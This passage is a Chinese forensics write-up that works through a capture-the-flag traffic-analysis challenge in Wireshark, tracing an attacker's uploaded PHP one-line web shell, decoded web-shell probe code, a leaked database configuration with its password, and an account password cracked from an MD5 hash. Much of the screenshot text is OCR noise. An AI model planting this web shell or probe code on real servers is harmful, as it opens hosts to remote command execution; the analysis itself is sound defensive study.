QG1uaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwiMCIp00BzZXRfdG1tZV9saW1pdCgwKTtAc2V0X21hZ21jX3F1b3R1c19ydW50aW11KDAp02VjaG8oIi0<mark>+</mark>f CIp0zskRD1kaXJuYW11KCRfU0VSVkVSWyJTQ1JJUFRfRk1MRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJb11BBVEhfVFJBT1NMQV RFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3J1YWNoKHJhbmd1KCJBIiwiWiIpIGFzICRMKW1mKG1zX2RpcigieyRMfTo iKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoHBvc214X2d1 dGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW11J106QGd1dF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW11KCk7JFIuPSIoeyR1c3J9KSI7cHJpb nQgJFI702VjaG8oInw8LSIp02RpZSgpOw

清空 || 加密 || 解密 | □ 解密为UTF-8字节流

@ini_set("display_errors", "0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-
> ");;\$D=dirname(\$_SERVER["SCRIPT_FILENAME"]);if(\$D=="")\$D=dirname(\$_SERVER["PATH_TRANSLATED"]);\$R="
{\$D}\t";if(substr(\$D,0,1)!="/"){foreach(range("A", "Z") as \$L)if(is_dir("{\$L}:"))\$R.="{\$L}:";}\$R.="\t";\$u=
(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';\$usr=(\$u)?
\$u['name']:@get_current_user();\$R.=php_uname();\$R.="({\$usr})";print \$R;;echo(" <-");die();

CSDN @Johnny.G

通过发现基本可以断定一句话木马是使php编写的,此时决定再次通过过滤语句进行过滤。

▲webone.pcap マセルド 電磁(F) 初間(V) 製味(G) 建石(G) 分析(A) たけくS) 田氏(V) 干燥(V) 下貫(F) 軽数(H)	- ø ×
http contains "("php @eval")	🗙 🛶 💌 🎽 表达式 🔸
Bo. Time Source Pertination Protocol Length Info	
	6SBH-@Johnv.G
\varTheta 🗹 webone, pcsp	分组: 736029 ・ 己显示: 0 (0.0%) 000011 (日) 謝益: 166334

通过上面的过滤语句过滤,并没有发现数据,考虑到可能是tcp重传的原因,导致http中没追踪到,因此尝试将http换成tcp进行再 次过滤。

tcp contains " php @eval"</th <th></th> <th></th>		
▲ webconsepcap 文化氏の 金属氏 10階以の 脚体(G) 条件(A) 修作(A) 使法(Y) 电法(Y) 工具(F) 解剖(H)		- 0 ×
() eponetinis "dynh wend" So. Tise Source Distinguise Protocol Learth Info		▲□□▼ 表达式… +
73. 5867.018.102.108.04.59 192.168.34.59 192.168.32.189 TCP 1514 [TCP Retransmission] 12716 - 88 [PSH, ACK] Seq-5677 Ack-1 Min-12408 Len-1460		
22 20011000 1211201 271200 1211200 101 1220 [101 10218181811100] 11120 - 00 [Noc] 36[-300 Noc1-1 800-1000 201-100		
> Frame 733793: 1514 bytes on wire (12112 bits). 1514 bytes cantured (12112 bits)		
) Ethernet II, Src: Hangzhou 39:42;ed (00:F9:63:39:42;ed), 05:: Wmare_cb:9F:85 (00:6c:29:cb:9F:85) > Tehernet Destroch Verschen d. Sec. 100:152:04:50, 05:10:100:100:100:100:000		
2 Internet (FOCKOL VETSUN 4), 30(-1),		
0000 00 0c 29 ch 95 85 h0 f9 63 39 42 ed 08 00 45 00		^
0010 05 dc 19 0d 40 00 7f 66 dc c5 c6 a8 5s 1b c0 a8, 49		
0030 00 44 85 3d 00 00 6c 65 2d 68 65 69 67 68 74 3a Dne height: 0040 32 30 25 3h 66 f6 6e 74 2d 66 16 6f 96 7c		
0050 3a e5 ae 8b e4 bd 93 3b 66 6F 6e 74 2d 73 69 7a :; font-siz		
9070 90 bd e5 ac 9e e6 8a a2 e4 bf ar e4 ba ba e5 91		
20 73 74 79 6c 65 34 22 6c 69 6e 65 24 68 65 69 style="line-hei 0000 67 68 74 3a 32 30 25 3b 66 fc 64 74 24 66 in cht:2004; font-fa		
0000 6d 69 6c 79 3a 63 61 6c 69 62 72 69 3b 66 6f 6e millycal brijfon 0000 74 2d 73 69 7a 65 3a 13 67 87 8b 22 3a 31 3 t-siperi box: >13		
9000 30 30 32 2£ 73 78 61 6e 3e 3c 73 70 61 6e 20 73 90 4(xpan xxpan s 9000 74 79 6 65 3d 22 6 69 6e 55 24 68 65 96 67 84 xvle="in-heid"		
90479 74 3a 32 30 30 25 3b 66 6f 6e 74 2d 66 6i 6d 69 t:20083;f ont-fami 9109 6c 79 3a 65 as 8b ed bd 93 3b 66 f6 6f 42 47 37 1/v::font-s		~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
🔵 🗶 webane peup	分组: 736029 · 已显示: 2 (0.0%)	CSDN @Jonny G

发现查询出了结果,此时选取第二个流量追踪TCP流。

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 71859) · webone.pcap	_	\times
16px;">		 ^

······································	
chn /s	
WebKitEormBoundaryUTPbEBT1i473BL00	
Content_Disposition: form_data: name="image": filename="1 nhn"	
Content-Type: application/octet-stream	
content typer application, occer ser cam	
<pre><?php @eval(\$ POST[1234]):?></pre>	
WebKitFormBoundaryUIPbEBT1i473BL00	
Content-Disposition: form-data; name="keywords"	
WebKitFormBoundaryUIPbEBT1j473BL00	
Content-Disposition: form-data; name="description"	
WebKitFormBoundaryUIPbEBT1j473BL00	
Content-Disposition: form-data; name="token"	
WebKitFormBoundaryUIPbEBT134/3BL00	
Content-Disposition: form-data; name="image"	
imagos/anticle/a ppg	
WebKitEormBoundervUTPbERT1i473BL00	
Content-Disposition: form-data: name="id"	
10	
WebKitFormBoundaryUIPbEBT1j473BL00	
Content-Disposition: form-data; name="submit"	
· · · ·	~
5 客户端 分组, 2 服务器 分组, 1 turn(s).	
整个对话(10 kB) 显示和保存数据为 ASCII 次 71859	÷
查找: 查找下一个()	I)
	-
溶掉IC流 打印 Save as IX回 C3中种 @J0 打响水	Ĵ.

最后得出:

文件名为: a.php 内容为:

<?php @eval(\$_POST[1234]);?>
-----WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="keywords"

内容的base编码为:

PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==

5、黑客找到的robots.txt中的flag

根据题目的要求,先通过过滤语句过滤。

http contains "robots.txt"

🚄 webo	ne.pcap					– o ×	
文件(F)	编辑(E) 1	规图(V) 跳转(G) 捕获(C)	分析(A) 统计(S) 电话(Y)	无线(W)	(T) 帮助(H)		
X H .	1 🛛 🔤	🛅 🔀 🖸 । ९ 👄 👄 🕾	T 🛓 📃 📃 Q, Q,	Q, 🎹			
📕 http	contains "r	obots. txt"				🛛 📼 💌 表达式…	÷
No.	Time	Source	Bestination	Protocol I	th Info		^
	2920.91	1 192.168.94.59	192.168.32.189	HTTP	36 GET /robots.txt HTTP/1.1		
54	2922.60	3 192.168.94.59	192.168.32.189	HTTP	83 GET /sitemap.xml.gz HTTP/1.1		
54	2922.60	3 192.168.94.59	192.168.32.189	HTTP	80 GET /sitemap.xml HTTP/1.1		
43	3961.75	9 192.168.94.59	192.168.32.189	HTTP	93 GET /robots.txt HTTP/1.1		
43	3961.79	8 192.168.94.59	192.168.32.189	HTTP	93 GET /robots.txt HTTP/1.1		1
43	3961.80	8 192.168.94.59	192.168.32.189	HTTP	63 GET http://192.168.32.189:80/robots.txt HTTP/1.1		
43	3961.81	7 192.168.94.59	192.168.32.189	HTTP	V48 GET http://192.168.32.189:80/robots.txt HTTP/1.1	· · · · · · · · · · · · · · · · · · ·	
64	4456.56	3 192.168.94.59	192.168.32.189	HTTP	194 GET /robots.txt HTTP/1.1		
64	4461.29	1 192.168.94.59	192.168.32.189	HTTP	194 [TCP Spurious Retransmission] GET /robots.txt HTTP/1.1		

27 AFAT FAT AAT AZA AZA AZA AZA TATATA TATATA TATATATA		v
> Frame 4048: 336 bytes on wire (2688 bits), 336 bytes captured (2688 bits)		
> Ethernet II, Src: Hangzhou 39:42:ed (b0:f9:63:39:42:ed), Dst: Vmware cb:9f:85 (00:0c:29:cb:9f:85)		
> Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189		
> Transmission Control Protocol, Src Port: 1138. Dst Port: 80. Sea: 1. Ack: 1. Len: 282		
> Hypertext Transfer Protocol		
0000 00 0c 29 cb 9f 85 b0 f9 63 39 42 ed 08 00 45 00 ······· c9B···E·		^
0010 01 42 6c 9a 40 00 7f 06 8d d2 c0 a8 5e 3b c0 a8 .Bl @·····^;··		
20 bd 04 72 00 50 9d d8 f5 73 bd 05 c0 b8 50 18 ····P···s···P·		
0030 00 44 38 da 00 00 47 45 54 20 2f 72 6f 62 6f 74 - D8···GE T /robot		
0040 73 2e 74 78 74 20 48 54 54 50 2f 31 2e 31 0d 0a s.txt HT TP/1.1.		
0050 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 Pragma: no-cache		
0060 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a ··Cache- Control:		
0070 20 6e 6f 2d 63 61 63 68 65 0d 0a 48 6f 73 74 3a no-cach e Host:		
0080 20 31 39 32 2e 31 36 38 2e 33 32 2e 31 38 39 0d 192.168 .32.189		
0090 0a 43 6f 6e 6e 65 63 /4 69 6f 6e 3a 20 4b 65 65 - Connect ion: Kee		
00 2d bi bc b9 /b bb 0d 0a 41 b3 b3 b3 /0 /4 2d p-alive Accept-		
40000 45 be 65 bt 64 b5 be 67 38 20 b7 /8 b7 /0 20 b7 /0		
0000 05 00 05 01 /4 05 00 08 35 /3 05 /2 20 41 0/ 05 efiate·· User-Age		
0000 0E /4 38 20 40 0T /8 09 0C 0C 0I 2T 33 2E 30 20 11: FWOLL 118/3-0		
0000 20 3/ 05 00 04 07 // /3 20 40 34 20 30 20 31 30 (Williams 10 0.1)		
0010 20 J 41 J J 50 J 42 Z 20 41 / 0 / 0 (0 J J 0 5) 0 Z WWWH A PAPLEMED		2
2 2 4 5 7 4 2 5 5 5 5 5 5 5 5 2 5 2 2 2 40 40 54 40 KL(557, 21 (NTH)	()(R. 200000	CSDN @Jglanny.G
Vecone.poap	773H. (30029 * EEA),: 17 (0.0%)	自t五: Default

追踪第一个流量的TCP流。

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 181) · webone.pcap \times GET /robots.txt HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Host: 192.168.32.189 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* HTTP/1.1 200 OK Date: Wed, 08 Aug 2018 07:23:28 GMT Server: Apache/2.2.15 (CentOS) Last-Modified: Fri, 25 Nov 2016 21:18:26 GMT ETag: "1f0-11b-54226a9a90482" Accept-Ranges: bytes Content-Length: 283 Connection: close Content-Type: text/plain; charset=UTF-8 User-agent: * Disallow: /admin/ Disallow: /cache/ Disallow: /data/ Disallow: /include/ Disallow: /install/ Disallow: /languages/ Disallow: /m/include/ Disallow: /m/theme/ Disallow: /theme/ Disallow: /upgrade/ Disallow: /captcha.php flag:87b7cb79481f317bde90c116cf36084b 1 客户端 分组, 1 服务器 分组, 1 turn(s). 整个对话(833 bytes) + \sim 显示和保存数据为 ASCII ~ 流 181 查找下一个(N) 查找: 滤掉此流 打印 返回 Save as... CSDM @Johhny.G

从上图得知flag为: 87b7cb79481f317bde90c116cf36084b

同时可以直接导出http对象,在文本过滤器中选择robots.txt,随便选取一个将文件保存下来

Wires	shark · 导出 · HT	TP 对象列表			-		×
分组	主机名	内容类型	大小	文件名			
4068	192.168.32.189	text/plain	283 bytes	robots.txt			
439045	evilhostjNLA	text/plain	283 bytes	robots.txt			
439135	192.168.32.1	text/plain	283 bytes	robots.txt			
439181	evilhostlvqd	text/plain	283 bytes	robots.txt			
439232	evilhostvb2f	text/plain	283 bytes	robots.txt			
647041	192.168.32.189	text/plain	283 bytes	robots.txt			
文本过滤	器: robots.txt						
				Save Save All C	SDM @	Johne	y. G

🥘 robots.txt - 记事本			_		×
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)					
User-agent: *					\sim
Disallow: /admin/					
Disallow: /cache/					
Disallow: /data/					
Disallow: /include/					
Disallow: /install/					
Disallow: /languages/					
Disallow: /m/include/					
Disallow: /m/theme/					
Disallow: /theme/					
Disallow: /upgrade/					
Disallow: /captcha.php					
flag:87b7cb79481f317bde90c116cf36084b					
					\sim
<	第1行 第1列	100% Windows (CRLP)	N @J	ohnn	y.Ĝ
	345 1 1 1 345 1 71	TOO TO WINDOWS (CITEF)	0114	0	

6、黑客找到的数据库密码

根据一些大师的经验,数据库通常的关键字有 database 、 db 、 data 等等,可以通过过滤关键字搜寻相关流量。

- o ×

No. Tim	ne -	Source	Bestination	Protocol	Length Info						
73 619	97.700	192.168.32.189	192.168.94.59	HTTP	1341 HTTP/1.1 200 OK	(text/html)					
> Enomo 7	34501. 1	241 hutor on ulno	(10700 bits) 1241 b	utos con	tuned (10728 bits)						
> Traine 7.	+ TT C-	ISMI Dyces on wire	(10/20 0103), 1541 (Dom U	cureu (10/20 bits)	(0, (2, 20, 42,					
> cthernet	t 11, Sr	<pre>'C: Vmware_CD:9T:05</pre>	(00:00:29:00:97:05)	i, UST: H	angzhou_59:42:ed (b0:	79:05:59:42:ed)					
> Internet	t Protoc	iol Version 4, Src:	192.168.32.189, DS1	:: 192.16	8.94.59						
> Transmis	ssion Co	ontrol Protocol, Sr	c Port: 80, Dst Port	:: 13342,	Seq: 1, ACK: 621, Let	1: 1287					
> Hyperte:	xt Irans	fer Protocol									
> Line-bas	sed text	: data: text/html (42 lines)								
0000 10											
0000 60	19 63 39	942 ed 00 0c 29 c	5 91 85 08 00 45 00	··· c98·	···)····E·						^
0010 05	21 24 05	9 40 00 40 06 11 7	7 C0 a8 20 D0 C0 a8	·/>·@·	(g) · · W · · · · ·						
0020 Se	7- 05 64	0 04 10 04 05 aD 9	0 C5 15 Z8 EZ 50 18	1,194	UT TD (1 4 3						
0050 00	20 20 44	5 46 00 46 54 54 5 5 46 00 00 46 54 54 5	0 ZT DI ZE DI ZO DZ	00 OK	D attas Mad						
0050 30	20 20 41	2 20 41 75 67 20 2	4 03 34 20 37 03 04 2 30 31 30 30 30 30	00 00	-D ate: weu						
0050 20	20 30 30	20 20 20 20 20 20 20 20 20 20 20 20 20 2	4 04 02 53 65 73 76	, 10.00	C MT Samu						
0000 54	72 20 20	3 30 33 20 47 40 3 3 41 70 61 63 69 6	4 00 0a 33 03 72 70	.10.05	a ha/2 2 1						
0070 05	20 28 43	3 65 60 74 AF 53 2	0 0d 0a 58 3d 50 6f	5 (Con	+0 S). Y-Po						
0000 33	65 72 65	5 6/ 2 d / 2 79 3 a 2	0 50 /8 50 24 35 24	wered-	By PHP/5						
00-0 34	20 34 35	04 0a 43 6f 6e 7	4 65 6e 74 2d 4c 65	4 45	Content-le						
00b0 6e	67 74 68	3 3 a 20 31 30 39 3	2 0d 0a 43 6f 6e 6e	ngth:	10 92 - Conn						
0000 65	63 74 69	9 6f 6e 3a 20 63 6	c 6f 73 65 0d 0a 43	ection	: closeC						
00d0 6f	6e 74 65	5 6e 74 2d 54 79 7	0 65 3a 20 74 65 78	ontent	-T vpe: tex						
00e0 74	2f 68 74	1 6d 6c 3b 20 63 6	8 61 72 73 65 74 3d	t/html	; charset=						
00-00 55	54 46 20	1 38 0d 0a 0d 0a 2	d 3e 7c 3c 3f 70 68	UTF-8	····>						
0100 70	0a 2f 2a	a 2a 0a 20 2a 20 4	4 6f 75 50 48 50 0a	p./**.	* DouPHP						
🔵 🏹 weba	one, pcap								分组: 736029 · i	円昇示: 1 (0.0%)	CSDN @Johnny.G
									10 mar		in the second

通过追踪TCP流。

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 71893) · webone.pcap	-		×
*http://www.douco.com/license.html *			^
<pre>* Author: DouCo * Release Date: 2015-06-10 */</pre>			
// database host \$dbhost = "10.3.3.101";			
// database name \$dbname = "web";			
// database username \$dbuser = "web";			
// database password \$dbpass = "e667jUPvJjXHvEUv";			
// table prefix \$prefix = "dou_";			
<pre>// charset define('DOU_CHARSET','utf-8');</pre>			
<pre>// administrator path define('ADMIN_PATH','admin');</pre>			
<pre>// mobile path define('M_PATH','m');</pre>			
?> <-			~
<i>I 客户端 分组, I 服务器 分组, I turn (s).</i> 整个对话(1907 bytes) マ	~	流 71893	
查找:			(N)
滤掉此流 打印 Save as… 返回 CSD	N @	ohmen	.G

得出账号为: web
得出密码为: e667jUPvJjXHvEUv
(注:密码就是这个,没有加密!!!)
得出IP地址为: 10.3.3.101

7、黑客在数据库中找到的hash_code

由于上题最后查询出有关数据库的流量仅有一个,因此决定从webtwo流量包入手。 根据题目决定先利用 hash_code 这个关键字进行过滤。

🥻 webtwo.pcap	-
文件(F) 編輯(E) 视問(V) 説明(G) 播発(C) 分析(A) 統計(S) 电法(V) 上周(T) 報知(H)	
http contains "hash_code"	◎
No. Time Source Destination Protocol Length Info	
🔘 🝸 webtwo. pcap	分组: 591899 - 已显示: 0 (0.0%) CSDN @Jobn King

....

查询不出流量。此时想到 hash_code 是和数据库有关的,通过上题得知数据库的Ⅳ地址是 10.3.3.101,决定通过过滤 IP 看看是 否可以过滤出相关流量。

ip.src==10.3.3.101

🚄 webtwo.pcap					– 🗗 🗙
文件(F) 编辑(E) 视	2图(V) 跳转(G) 捕菇	토(C) 分析(A) 统计(S) 电谐	舌(Y) 无线(W)	工具(T) 帮助(H)	
A = 2 • -	ि 🔀 🖾 🔍 👳	* 🕾 Ŧ 🛓 🗖 🗖 Q	Q, Q, 🎹		
ip. sro=10. 3. 3. 10	1				🗶 🗔 💌 表达式… 🛛 +
No. Time	Source	Bestination	Protocol	Length Info	-
2 0.000290	10.3.3.101	10.3.3.100	TCP	74 3306 → 38975 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=0 MSS=1460 SACK_PERM=1 TSval=603950418 TSecr=68845013 WS=128	_
4 0.001376	10.3.3.101	10.3.3.100	MySQL	144 Server Greeting proto=10 version=5.5.49	
7 0.001849	10.3.3.101	10.3.3.100	TCP	66 3306 → 38975 [ACK] Seq=79 Ack=84 Win=14592 Len=0 TSval=603950420 TSecr=68845015	
8 0.001860	10.3.3.101	10.3.3.100	MySQL	77 Response OK	
10 0.002287	10.3.3.101	10.3.3.100	MySQL	75 Response	
12 0.002856	10.3.3.101	10.3.3.100	MySQL	77 Response OK	
14 0.003188	10.3.3.101	10.3.3.100	MySQL	77 Response OK	
16 0.003569	10.3.3.101	10.3.3.100	MySQL	77 Response OK	
18 0.004348	10.3.3.101	10.3.3.100	MySQL	185 Response	
20 0.005074	10.3.3.101	10.3.3.100	MySQL	595 Response	
23 0.005571	10.3.3.101	10.3.3.100	TCP	66 3306 → 38975 [FIN, ACK] Seq=780 Ack=332 Win=14592 Len=0 TSval=603950423 TSecr=68845018	
> Enamo 2: 74 k	wtor on wine (F	92 hits) 74 hytos sa	ntuned (592	24 SARE SARE POUL APPLE A A LA UP AARAA LA MEE APPA FARE APA FARE A PARAANA TE SARAPANNE E FAREFAN DE ARA	
> Frame 2. 74 c	Spc: Vmware 1d:	92 DICS), 74 Dyces ca 96.01 (00.0c.29.1d.96	-01) Det 1	01(5) //mana ch:9f:8f (00:0c:79:ch:9f:8f)	
> Internet Prot	ocol Version A	Spc: 10 3 3 101 Det	10 3 3 10	a	
> Transmission	Control Protoco	1. Src Port: 3306. Ds	t Port: 389	75. Sea: 0. Ack: 1. Len: 0	
		-,,			
0000 00 0c 29	cb 9f 8f 00 0c	29 1d 96 01 08 00 49	i 00 ···)··	···)····E·	
0010 00 3c 00	00 40 00 40 06	1f ee 0a 03 03 65 0a	03	.@· ····e·	
0020 03 64 0c	ea 98 3f 87 15	9e 05 65 af e0 4e a0)12 ·d···	2eN	
0030 38 90 b1	0d 00 00 02 04	05 b4 04 02 08 0a 23	3 ff 8	····#·	
0040 8d 52 04	1a 7d d5 01 03	A3 A7	.R3		

🔴 🎽 webtwo. pcsp

选取第一个流量进行追踪TCP流。

Wireshark · 追踪 TCP 流 (tcp.stream eq 0) · webtwo.pcap	— [) X
J 5.5.49GM ^{^5} / ({Utj8.mysql_native_password.0@ .v.X. %. #mysql_native_password. .character_set_connection=utf8, character_set_results=utf8, character_set_client=binarySET sql_mode=''web8SELECT value H WHERE name = 'hash_code'7def.web dou_config dou_config value.value.!	web. S FROM `dou_ `dou_admin dou_admin dou_admin dou_admin dou_admin	.K.a).& ET config` n`
8 客庁満 分超, 8 服务器 分超, 15 turn(s). 整个で対话 (1109 hvtes) マロン 見示和保存数据为 ASCI	口 🗸 流	0
		下一个(N)
源掉此流 打印 Save as […] 返回 C	SDN QJO	n řefey. G

|| 分组: 581809 · 已显示: 256855 (44.1%) CSDN @ Official t

通过比对信息,得出hash_code为: d1c029893df40cb0f47bcf8f1c3c17ac

8、黑客破解账号ijnu@test.com得到的密码

根据题目决定利用 ijnu@test.com 这个关键字进行分组详情查询。

webtwo.pcap		-	o ×
			表达式… +
→ 分組連構 ~ 克存 ~ ☑ 区分大小写 字符串 ~ ijnufftett.com		査找	取消
No. Time Source Destination Protocol Length Info			^
1145 2987.205 10.3.3.100 10.3.3.101 MySQL 126 Request Query			
1145_ 2987.206_ 10.3.3.101 10.3.3.100 MySQL 185 Response			
1145_ 2987.206_ 10.3.3.100 10.3.3.101 MySQL 97 Request Query			
1145_2987.206_10.3.3.100110.3.3.1001MySQL 2606 Response			
1145_2207.200_10.3.3.10010.3.3.10110/0 00 414314 3000 [MKG] 24(3-00 MK-2/31 WII-1/300 [201-0 13041-/1052220 13021-00053/020			
1145_2987.288_10.3.3.101 10.3.3.100 M/SQL 492 Response			
1145 2987.209 10.3.3.100 10.3.3.101 MySQL 145 Request Query			
1145 2987.209 10.3.3.101 10.3.3.100 MySQL 492 Response			
↓ 1145_ 2987.209_ 10.3.3.100 10.3.3.101 MySQL 160 Request Query			
1145_ 2987.209_ 10.3.3.101 10.3.3.100 MySQL 1516 Response			~
text: 357\277\275\			
text: 19 text: \357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275 text: jnu@test.com text: <u>D36f5as61806f07def6e839121a22ec</u> text: ADNIN text: 1530779719			, in the second se
064a0 99 99 93 95 36 66 60 66 76 77 74 2e ij nuĝtest. 04b0 63 66 20 27 36 63 66 36 66 36 66 35 61 35 31 53 33 39 31 32 16 67 67 37 74 2e Com D78 Saael66 0 0 0 44<			Â
● 7 Field ray market text (aveal ray text), 13 空帯	分組: 581809 ・ 己辰示: 581809 (100.0%)	CSDN @	att Default

得出对应密码有可能是通过MD5加密过的,对应加密后的密码是: b78f5aa6e1606f07def6e839121a22ec 通过网上的MD5解密

	输入让你无语的MD5	
b78	f5aa6e1606f07def6e839121a22ec	解密
	md5	
	edc123!@#	
		CSDN @Johnny.G

最后得出对应的密码是: edc123!@#

9、黑客攻击的web服务器的网卡配置和网卡内网IP

先回到webone.pcap流量包进行查询,根据一些大师的经验,网卡通常的关键字有 eth0 、 ens33 等,可以分别尝试通过关键字 过滤查询。

先尝试 eth0。

http contains "eth0"

No. Time Source Pertination Protocol Length Info		
/128 4915.432 192.168 192.168 HIP 224 [ICP AcKed unseen segment] [ICP Previous segment not captured] GET /etc/syscontig/network-scripts/itctg-etn0 HI	P/1.1	
-/34/ 6292.403 192.168 192.168 HTP 249 HTP/1.1 200 0K (text/html)		
/348_ 6338.21/_ 192.168 192.168 HIIP 249 HIIP/1.1 200 0K (text/ntml)		
> Frame 734790: 249 bytes on wire (1992 bits), 249 bytes captured (1992 bits)		
Ethernet II, Src: Vmware_cb:9f:85 (00:0c:29:cb:9f:85), Dst: Hangzhou_39:42:ed (b0:f9:63:39:42:ed)		
> Internet Protocol Version 4, Src: 192.168.32.189, Dst: 192.168.94.59		
> Transmission Control Protocol, Src Port: 80, Dst Port: 13523, Seq: 1461, Ack: 863, Len: 195		
> [2 Reassembled TCP Segments (1655 bytes): #734789(1460), #734790(195)]		
> Hypertext Transfer Protocol		
✓ Line-based text data: text/html (31 lines)		
-> eth0 Link encap:Ethernet HWaddr 00:0C:29:CB:9F:85 \n		
inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:255.255.0\n		
inet6 addr: fe80::20c:29ff:fecb:9f85/64 Scope:Link\n		
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1/n		
RX packets:1599038 errors:0 dropped:0 overruns:0 frame:0\n		
TY parkets 2032856 enones 0 dopped 0 oversing 0 carrier 0) n		
collisions: 0 typical 100 to a topical over and to a		
PV hyter://6/16230 (/6/ 3 MB) TV hyter:/10/1935/70 (003 5 MB))n		
\\		
etni Link encapittnernet mwadar 00:00:22:00:34:66 (n		
ineT addr:10.53.100. Krast:10.53.255 Mask:252.252.01		
		^
0010 00 eb /1 3/ 40 00 40 05 c8 8c c0 a8 20 bd c0 a8 · q/g·g·g·····		
0020 5e 50 00 50 34 03 51 10 6/ 0e 80 /3 25 14 50 18 ^; P4 U g .5% P		
000 05 /2 /2 07 /2 /5 38 30 22 00 4 /2 07 /8 /0 05 04 errors: 0 aropped		
0000 72 72 09 09 72 53 09 08 22 02 20 20 20 20 20 20 20 20 20 20 20		
0000 20 20 20 20 20 20 20 52 58 20 62 79 74 65 73 3a R X bytes:		
00a0 32 31 35 30 38 32 20 28 32 31 30 2e 30 20 4b 69 215082 (210.0 Ki		
00b0 42 29 20 20 54 58 20 62 79 74 65 73 3a 32 31 35 B) TX b ytes:215		
00c0 30 38 32 20 28 32 31 30 2e 30 20 4b 69 42 29 0a 082 (210 0 K1B)		
00d0 0a 5b 53 5d 0a 2f 76 61 72 2f 77 77 77 2f 68 74[S] /va r/www/ht		
00e0 6d 6c 2f 69 6d 61 67 65 73 2f 61 72 74 69 63 6c ml/image s/articl		
		~
Frame (249 bytes) Reassembled TCF (1655 bytes)		CSDN @Johnny G
2 waters near	公田・736029 ・ 司房元・3 (0.0%)	

通过上图可以看出,找到了几个有关的流量,选择服务器返回的流量(第二个/第三个流量),进行跟踪TCP流。

📕 Wireshar	k ∙追踪 TCP	流 (tcp.strean	n eq 71902) ·	webon	e.pcap			-		×
Server: A X-Powered Content- Connection Content-	Apache/2. d-By: PHP Length: 1 on: close Type: tex	2.15 (Cent /5.4.45 460 t/html; ch	:OS) narset=UTF	-8						^
-> eth0 255.255.	Link inet ad 255.0 inet6 a UP BROA RX pack TX pack collisi RX byte	encap:Eth dr:192.168 ddr: fe80: DCAST RUNN ets:159903 ets:203285 ons:0 txqu s:47642633	ernet HW 3.32.189 1:20c:29ff IING MULTI 38 errors: 36 errors: 39 (454.3)	addr (Bcast :fecb CAST 0 drop 0 drop 00 MiB)	00:0C: 192.1 9f85/ MTU:1 oped:0 oped:0 TX by	29:CB:9F: 68.32.255 64 Scope: 500 Metr overruns overruns tes:10418	85 Mask: Link ic:1 :0 fran :0 carn 35470 (ne:0 rier:0 (993.5) 5 MiB)	
eth1	Link en inet ad inet6 a UP BROA RX pack TX pack collisi RX byte	cap:Etherr dr:10.3.3 ddr: fe80: DCAST RUNN ets:117441 ets:103220 ons:0 txqu s:83283597	net HWadd 100 Bcas 220c:29ff NING MULTI 6 errors: 02 errors: 02 errors: 02 (794.2)	r 00:0 t:10.3 :fecb: CAST 0 drop 0 drop 00 MiB)	OC:29: 3.3.25 9f8f/ MTU:1 pped:0 pped:0 TX by	CB:9F:8F 5 Mask:2 64 Scope: 500 Metr overruns overruns tes:10242	55.255 Link ic:1 :0 fran :0 carn 8452 (9	.255.0 me:0 rier:0 97.6 M)) 11B)	
10	Link en inet ad inet6 a UP LOOP RX pack TX pack collisi RX byte	cap:Local dr:127.0.0 ddr: ::1/1 BACK RUNNI ets:2066 e ets:2066 e ons:0 txqu s:215082 (Loopback).1 Mask: L28 Scope: ING MTU:6 errors:0 d errors:0 d weuelen:0 (210.0 KiB	255.0 Host 5536 ropped ropped	0.0 Metri 1:0 ov 1:0 ov	c:1 erruns:0 erruns:0 :215082 (frame:(carrie 210.0	0 ^:0 (iB)		
[S] / <u>var/www</u> 2 <i>客户端 分组</i> , 整个对话(2 ⁴	<u>/html/im</u> a <i>2 服务器 分類</i> 517 bytes)	<mark>ges/artic</mark> , 1 turn(s).	P	~	显示	和保存数据为	ASCII	~ 3	奈 71902	~
查找:								查	找下一个	· (N)
		滤掉此流	打印	Save	as	返回	CSD		ohikata	/.G

通过上图得出三个网卡的结果,通过分析,一直向黑客IP 192.168.94.59 回复黑客消息的都是IP 192.168.32.189,因此可以判 定此IP为外网IP,而 etho 就是外网网卡,另外 lo 为环回地址,这个大家都知道,所以剩下的 eth1 为内网网卡, 而 10.3.3.100 就是内网IP了。

10、黑客登陆了mail系统所使用的账号和密码(形式: username/password)

只有一题有关 mail,因此毋庸置疑,需要综合查询两个有关 mail的流量包。 根据题目要求,决定使用 mail 作为关键字进行过滤;另外从常识可知mail登录是通过表单提交的,一般提交账号和密码为了安 全性,都是使用 POST 关键字。

http.request.method==POST && http contains "mail"

mailtwo.pcap	- 0 ×	<
Attp.request.method=PtOI 00 http contains mail	(二) * (私区式)**	+
No. Time Source Bettination Protocol Langth Info		^
+ 21/ 31.094931 192.168 HIP 945 POST (webmail/index.php?module=operate&action=login&web=1 HIP/1.1 (application/x-www-torn	m-uriencoded)	-
